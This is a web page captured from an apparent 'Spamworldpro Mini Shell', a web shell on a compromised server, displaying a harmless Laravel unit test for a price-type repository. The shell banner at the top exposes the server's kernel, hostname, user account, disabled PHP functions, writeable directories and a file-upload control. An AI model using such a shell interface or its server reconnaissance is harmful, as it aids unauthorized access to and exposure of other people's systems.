Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mcoil.corals.io/tests/Unit/PriceTypes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/corals/mcoil.corals.io/tests/Unit/PriceTypes/PriceTypeUnitTest.php
<?php

namespace Tests\Unit\PriceTypes;

use App\Shop\PriceTypes\PriceType;
use App\Shop\PriceTypes\Repositories\PriceTypeRepository;
use Illuminate\Support\Collection;
use Tests\TestCase;

class PriceTypeUnitTest extends TestCase
{
    /** @test */
    public function it_can_show_all_the_price_types()
    {
        factory(PriceType::class, 3)->create();

        $priceTypeRepo = new PriceTypeRepository(new PriceType);
        $list = $priceTypeRepo->listPriceTypes();

        $this->assertInstanceOf(Collection::class, $list);
        $this->assertCount(3, $list->all());
    }
    
    /** @test */
    public function it_can_delete_the_price_type()
    {
        $priceType = factory(PriceType::class)->create();

        $priceTypeRepo = new PriceTypeRepository($priceType);
        $deleted = $priceTypeRepo->deletePriceType($priceType->id);

        $this->assertTrue($deleted);
    }
    
    /** @test */
    public function it_can_update_the_price_type()
    {
        $priceType = factory(PriceType::class)->create();

        $data = ['name' => 'Public'];

        $priceTypeRepo = new PriceTypeRepository($priceType);
        $updated = $priceTypeRepo->updatePriceType($data);

        $found = $priceTypeRepo->findPriceTypeById($priceType->id);

        $this->assertInstanceOf(PriceType::class, $found);
        $this->assertEquals($data['name'], $found->name);
    }
    
    /** @test */
    public function it_can_show_the_price_type()
    {
        $priceType = factory(PriceType::class)->create();

        $priceTypeRepo = new PriceTypeRepository(new PriceType);
        $found = $priceTypeRepo->findPriceTypeById($priceType->id);

        $this->assertInstanceOf(PriceType::class, $found);
        $this->assertEquals($priceType->name, $found->name);
    }
    
    /** @test */
    public function it_can_create_a_price_type()
    {
        $data = ['name' => $this->faker->word,'description' => $this->faker->paragraph];

        $priceTypeRepo = new PriceTypeRepository(new PriceType);
        $priceType = $priceTypeRepo->createPriceType($data);

        $this->assertInstanceOf(PriceType::class, $priceType);
        $this->assertEquals($data['name'], $priceType->name);
        $this->assertEquals($data['description'], $priceType->description);
    }
}

Spamworldpro Mini